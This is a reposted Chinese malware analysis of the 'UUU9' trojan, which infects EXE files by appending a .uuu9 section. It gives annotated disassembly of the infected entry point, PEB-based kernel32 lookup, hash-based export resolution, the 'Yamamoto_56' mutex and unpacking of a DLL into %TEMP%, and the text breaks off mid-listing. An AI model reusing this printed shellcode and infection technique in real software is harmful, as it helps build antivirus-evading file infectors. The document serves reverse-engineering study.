UUU9病毒分析.docx
《UUU9病毒分析.docx》由会员分享,可在线阅读,更多相关《UUU9病毒分析.docx(23页珍藏版)》请在冰豆网上搜索。
![UUU9病毒分析.docx](https://file1.bdocx.com/fileroot1/2023-1/24/2d937511-a31e-43fc-b95e-bf7bd6d0d517/2d937511-a31e-43fc-b95e-bf7bd6d0d5171.gif)
UUU9病毒分析
UUU9病毒分析
--by[看雪]·blueapplez
简介:
此病毒为一盗号木马(我猜的)。
它会感染exe可执行文件,被感染的文件会被增加一个区段,区段名字叫".uuu9",故且把此病毒命名为UUU9病毒。
被感染的程序入口点代码被修改,会执行一段特定的代码,并释放一个随机命名的dll到Temp目录并加载,然后执行此dll的一个导出函数。
此病毒分析分为2部分,第一部分讲解被感染的程序的执行流程,第二部分讲解dll里面的逻辑。
第一部分·被感染程序的执行流程
先看下被感染的程序的区段信息,多个一个uuu9区段,如下图所示:
[被感染的程序区段信息]
感染前的区段信息
发现除了多了一个区段外,还把.text区段的属性给改了,增加了一个可写属性.
新区段的大小为0x2000,刚好是8K,查一下文件属性,也恰好大了8K。
【入口点】分析:
0040990F>$60pushad;保存现场
00409910.8BECmovebp,esp
00409912.83EC4Csubesp,4C
00409915.8BFCmovedi,esp;保存新esp
00409917.E9D2010000jmp00409AEE;这个jmp跳到后面一个地方然后又call了回来应该是为了获得call函数下条指令的地址吧
0040991C$5Epopesi;保存call下条指令的地址,esi=00409AEE+5=00409af3
0040991D.57pushedi;新esp入栈
0040991E.B94C000000movecx,4C
00409923.F3:
A4repmovsbyteptres:
[edi],byteptr[esi];把00409af3处代码拷贝到堆栈拷贝0x4c个字节,这4c个字节的数据是作者精心构造的数据,后面获得一些api地址都用到了这些数据
00409925.5Epopesi;esi=新的esp地址
00409926.8BFEmovedi,esi;edi恢复为新esp地址
00409928.64:
A13000000>moveax,dwordptrfs:
[30];这段代码好熟悉呀!
获得Kernel基址不分析了。
都快用烂了
0040992E.8B400Cmoveax,dwordptr[eax+C]
00409931.8B400Cmoveax,dwordptr[eax+C]
00409934.8B00moveax,dwordptr[eax]
00409936.8B5818movebx,dwordptr[eax+18]
00409939.53pushebx;把ntdll的基址入栈
0040993A.8B00moveax,dwordptr[eax]
0040993C.8B5818movebx,dwordptr[eax+18];ebx=kernel32.dll基址
0040993F.6A0Epush0E;这地方会获得14个函数地址:
LoadLibraryAGetProcessAddressVirtualAllocVirtualFreeGetModuleHandleASetErrorModeOpenMutexACloseHandleExitProcessExpandEnvironmentStringsA_lcreat_lwrite_lcloseGetTickCount,至于为什么要分析00409AA9这个函数,很精彩的一个函数
00409941.59popecx;ecx=0x0e循环14次
00409942>E862010000call00409AA9;此call非常精彩后面有分析
00409947.83C704addedi,4;调整堆栈指针
0040994A.^E2F6loopdshort00409942
0040994C.5Bpopebx;把ntdll基址出栈到ebx
0040994D.E857010000call00409AA9;此处是为了获得ntdll.RtlDecompressBuffer
00409952.E807000000call0040995E;PUSH"user32"这是一个小技巧,把call分解成push00409957,jmp0040995E来理解,本病毒利用了好多此这样的技巧来把字符串压栈
00409957.757365723>ascii"user32",0
0040995E>FF16calldwordptr[esi];LoadLibrary"user32.dll"
00409960.85C0testeax,eax
00409962.747Ejeshort004099E2
00409964.93xchgeax,ebx;非常巧妙的交换后ebx=user32基址eax=ntdll基址
00409965.83C704addedi,4
00409968.E83C010000call00409AA9;为了获得user32.wsprintfA
0040996D.E80C000000call0040997E;PUSHASCII"Yamamoto_56"
00409972.59616D616>ascii"Yamamoto_56",0
0040997E>33C0xoreax,eax
00409980.50pusheax;push0
00409981.40inceax
00409982.50pusheax;push1
00409983.FF5618calldwordptr[esi+18];OpenMutexA(1,0,"Yamamoto_56")
00409986.85C0testeax,eax;这里就是查一下是否这个互斥量已经存在了如果存在了就跳到004099E6,关闭handle然后跳到00409991处继续执行。
00409988.755Cjnzshort004099E6
0040998A.60pushad
0040998B.E85C000000call004099EC;一个重要的call,后面有分析
00409990.61popad
00409991>33FFxoredi,edi
00409993.6A40push40;40
00409995.B800100000moveax,1000
0040999A.50pusheax;1000
0040999B.50pusheax;1000
0040999C.57pushedi;0
0040999D.FF5608calldwordptr[esi+8];VirtualAlloc,申请空间
004099A0.85C0testeax,eax
004099A2.743Ejeshort004099E2
004099A4.93xchgeax,ebx;ebx=new出来的新地址
004099A5.57pushedi
004099A6.FF5610calldwordptr[esi+10];GetModuleHandle
004099A9.92xchgeax,edx;edx=exe模块的handle
004099AA.56pushesi;esi=那个奇怪的堆栈
004099AB.EB25jmpshort004099D2;跳走了又call回来是为了获得一个地址
这个地址就是004099d7
004099AD$5Epopesi;pop到esi,esi=004099d7
004099AE.8BFBmovedi,ebx;edi=new出来的新地址
004099B0.B90B000000movecx,0B;ecx=11
004099B5.F3:
A4repmovsbyteptres:
[edi],byteptr[esi];拷贝11字节到new出来的地址,也就是拷贝004099d7开始的5条汇编指令,这5条汇编指令的意义一会在说
004099B7.5Epopesi
004099B8.8BFAmovedi,edx;ediexe模块地址
004099BA.037E48addedi,dwordptr[esi+48];edi=入口点地址
004099BD.035640addedx,dwordptr[esi+40];edx=uuu9区段的首地址
004099C0.87F2xchgedx,esi;esi=入口点地址
004099C2.B930020000movecx,230;拷贝0x230个字节
004099C7.8BC3moveax,ebx;eax=new出来的那个地址
004099C9.0506000000addeax,6;eax+=6
004099CE.8938movdwordptr[eax],edi;入口点地址给[eax],这个是修改那11个字节里面的一个地址,使其跳到入口点
004099D0.FFE3jmpebx;跳到new的数据里面执行,他里面是堆栈数据,堆栈数据非常简单
004099D2>E8D6FFFFFFcall004099AD
004099D7.F3:
A4repmovsbyteptres:
[edi],byteptr[esi]
004099D9.8BE5movesp,ebp
004099DB.61popad
004099DC.68CCCCCCCCpushCCCCCCCC
004099E1.C3retn
【004099d0处堆栈数据分析】:
//堆栈数据执行,下面解释拷贝的那5条指令的意义
ecx=0x230
esi=uuu9区段首地址
edi=入口点地址
功能描述:
执行这么一个拷贝动作,恢复入口点数据,恢复寄存器,跳到原始的入口点,程序就能正常运行起来了
00940000F3:
A4repmovsbyteptres:
[edi],byteptr[esi]
009400028BE5movesp,ebp
0094000461popad
00940005680F994000pushaaa.<模块入口点>;这两句话相当于jmp入口点,程序就正常的跑起来了
0094000AC3retn
【00409aa9函数】分析:
本是寄存器传参,shellcode果然很灵活多变
ebx是dll基址
edi是一个in out型的堆栈地址
功能描述:
从dll基址获得所有的dll导出函数的名字,然后根据名字字符串做一个简单的运算,比较运算结果是否等于dwordptr[edi],如果相等就把这个函数的地址放到dwordptr[edi],然后返回。
因此此函数可以通过事先算出某个函数的值,获得此函数地址。
隐蔽性和防免杀效果防静态反汇编效果都很好。
00409AA9 /$ 60 pushad;保存现场
00409AAA |. 8BEB mov ebp, ebx ; ebx = kernel32基址
00409AAC |. 8B75 3C mov esi, dword ptr [ebp+3C] ; 取IMAGE_DOS_HEADER的最后一个变量 即IMAGE_NT_HEADER的偏移
00409AAF |. 8B7435 78 mov esi, dword ptr [ebp+esi+78]
00409AB3 |. 03F5 add esi, ebp
00409AB5 |. 56 push esi ; kernel32的导出表地址
00409AB6 |. 8B76 20 mov esi, dword ptr [esi+20] ; 得到IMAGE_EXPORT_DIRECTORY 的 AddressOfNames变量 即函数名称地址表RVA
00409AB9 |. 03F5 add esi, ebp ; 加上kernel32基址
00409ABB |. 33C9 xor ecx, ecx ; ecx = 0
00409ABD |. 49 dec ecx ; 减一是为了后面的数组以0开始计算
00409ABE |> 41 inc ecx
00409ABF |. AD lods dword ptr [esi] ; eax = 一个函数地址
00409AC0 |. 03C5 add eax, ebp ; eax = 加上基址,指向一个函数名字符串
00409AC2 |. 33DB xor ebx, ebx ; ebx=0
00409AC4 |> 0FBE10 /movsx edx, byte ptr [eax] ; 取函数名的第一个字母,符号扩展
00409AC7 |$ 38F2 |cmp dl, dh
00409AC9 |. 74 08 |je short 00409AD3 ; 如果字符串结束了 就跳走。
00409ACB |. C1CB 0D |ror ebx, 0D
00409ACE |. 03DA |add ebx, edx ; ebx += edx
00409AD0 |. 40 |inc eax ; 字符串++
00409AD1 |.^ EB F1 \jmp short 00409AC4
00409AD3 |> 3B1F cmp ebx, dword ptr [edi] ; 如果不等于堆栈里的那个值就跳走
00409AD5 |.^ 75 E7 jnz short 00409ABE ; 最终发现 其实就是为了找某个函数的地址序号,应该是为了免杀吧 搞的如此复杂
00409AD7 |. 5E pop esi ; kernel32的导出表地址 放到esi里面
00409AD8 |. 8B5E 24 mov ebx, dword ptr [esi+24] ; 得到IMAGE_EXPORT_DIRECTORY 的 AddressOfOrdinals变量 即函数序号地址RVA
00409ADB |. 03DD add ebx, ebp ; 加上基址
00409ADD |. 66:
8B0C4B mov cx, word ptr [ebx+ecx*2] ; 每个序号占2个字节 所以要乘以2
00409AE1 |. 8B5E 1C mov ebx, dword ptr [esi+1C] ; 得到IMAGE_EXPORT_DIRECTORY 的 AddressOfFunctions变量 即导出函数地址表的RVA
00409AE4 |. 03DD add ebx, ebp ; 加上基址
00409AE6 |. 8B048B mov eax, dword ptr [ebx+ecx*4] ; 没个地址占4个字节 所以要加4
00409AE9 |. 03C5 add eax, ebp ; 加上基址,eax就是真实函数地址了
00409AEB |. AB stos dword ptr es:
[edi] ; 把eax 放到[edi]存着
00409AEC |. 61 popad
00409AED \. C3 retn
【004099ec函数】分析:
//此函数没有参数
功能描述:
①用GetTickCount获得一个随机数。
②用wsprintf和①获得到的随机数拼出一个形如"%TEMP%29740046.dll"的字符串.
③用ExpandEnvironmentStringsA和②获得的字符串,获得形如"C:
\DOCUME~1\ADMINI~1\LOCALS~1\Temp\29740046.dll"的字符串路径。
关于ExpandEnvironmentStringsA的用法MSND上有介绍。
④用VirtualAlloc申请0x40000(256K)字节空间
⑤用Ntdll.RtlDecompressBuffer函数将.uuu9区段的0x230(内存地址00437230)开始的0x1986个字节进行解压,解压到④申请的那片空间里,解压得到一个dll,dll大小为0x2400.
(关于Ntdll.RtlDecompressBuffer函数参考:
)
⑥将解压得到的dll数据保存到3获得的那个全路径文件里。
⑦LoadLibrary这个dll,然后GetProceAddress序号为5的那个函数地址,然后调用之。
004099EC$55pushebp
004099ED.8BECmovebp,esp
004099EF.81C4D8FEFFFFaddesp,-128
004099F5.FF5634calldwordptr[esi+34]
004099F8.50pusheax
004099F9.E810000000call00409A0E;PUSHASCII"%%TEMP%%\%u.dll"
004099FE.252554454D50>ascii"%%TEMP%%\%u.dll",0
00409A0E>8D9DD8FEFFFFleaebx,dwordptr[ebp-128]
00409A1453pushebx
00409A15FF563Ccalldwordptr[esi+3C]
00409A1883C40Caddesp,0C
00409A1B6804010000push104
00409A20|.8DBDF8FEFFFFleaedi,dwordptr[ebp-108]
00409A26|.57pushedi
00409A27|.53pushebx
00409A28FF5624calldwordptr[esi+24];调用ExpandEnvironmentStringsA
00409A2B33FFxoredi,edi;filename0012FE28"C:
\DOCUME~1\ADMINI~1\LOCALS~1\Temp\29740046.dll"
00409A2D47incedi
00409A2EFF5614calldwordptr[esi+14];SetErrorMode
(1)
00409A314Fdecedi
00409A326A04push4;4
00409A34B800100000moveax,1000
00409A3950pusheax;0x1000
00409A3AC1E006shleax,6
00409A3D50pusheax;0x40000
00409A3E57pushedi;0
00409A3FFF5608calldwordptr[esi+8];VirtualAlloc申请256KB大小内存
00409A4285C0testeax,eax
00409A447461jeshort00409AA7
00409A4693xchgeax,ebx;ebx=new出来的新地址
00409A4757pushedi;push0
00409A48FF5610calldwordptr[esi+10];GetModuleHandle得到eax=004000000
00409A4B8D55FCleaedx,dwordptr[ebp-4]
00